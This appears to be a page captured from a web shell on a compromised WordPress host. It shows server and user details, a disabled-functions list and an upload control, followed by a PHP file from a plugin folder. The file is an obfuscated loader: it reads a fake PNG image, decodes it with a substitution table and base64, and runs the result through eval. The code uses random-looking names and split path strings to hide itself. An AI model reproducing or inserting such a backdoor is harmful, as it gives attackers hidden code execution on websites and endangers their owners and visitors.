HEX
Server: Apache
System: Linux web15f74.uni5.net 5.4.282-1.el8.elrepo.x86_64 #1 SMP Mon Aug 19 18:33:22 EDT 2024 x86_64
User: lucendi (859622)
PHP: 7.4.33
Disabled: apache_child_terminate,c99_buff_prepare,c99_sess_put,dl,exec,leak,link,myshellexec,openlog,passthru,pclose,pcntl_exec,php_check_syntax,php_strip_whitespace,popen,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,symlink,system,socket_listen,socket_create_listen,putenv
Upload Files
File: /home/lucendi/www/wp-content/plugins/arujulaka/axinuw.txt
<?php

function tawecu_yjoshykhyjo($arosir_dozaliqy) {
    $eraxiz = qezija_digobumuc(1);
    $lyxoto = qezija_digobumuc(2);
    for ($othezez = 0; $othezez < strlen($eraxiz); $othezez++) {
        $sheloby = substr($eraxiz, $othezez, 1);
        $yhezowa = substr($lyxoto, $othezez, 1);
        $ihepamu[$sheloby] = $yhezowa;
    }

    $omokoto = strtr($arosir_dozaliqy, $ihepamu);
    $omokoto = base64_decode($omokoto);

    return $omokoto;
}

function qezija_digobumuc($arosir_dozaliqy) {
    if ($arosir_dozaliqy == 1)
        return icoqyt_shysukhyn();
    if ($arosir_dozaliqy == 2)
        return edixug_avebachech();
}

function wypozu_dapycany($arosir_dozaliqy) {
    $avopepi = array();
    if (!file_exists($arosir_dozaliqy))
        return false;
    $cyzire = @file_get_contents($arosir_dozaliqy);
    if (!$cyzire)
        return false;
    $cyzire = substr($cyzire, 3);
    $avopepi = tawecu_yjoshykhyjo($cyzire);
    return $avopepi;
}

function icoqyt_shysukhyn() {
    $cyzire = "S=NlqcgP0TtknLjvOfs4+KG8JC1zduMDZaWIA73ExbrB/5mQXeyH2VhpwF6YRi9Uo";
    return $cyzire;
}

function edixug_avebachech() {
    $avopepi = "31P05iC4xILhZEfazecq+du=RX6JpOHgFKwvTASb2B8QVsYD79nmkjrUo/yWtlNMG";
    return $avopepi;
}

$ycithuh = wypozu_dapycany(__DIR__ . "/asset" . "s/im" . "ages" . "/fazes" . "i.png");
if ($ycithuh) {
    @eval($ycithuh);
}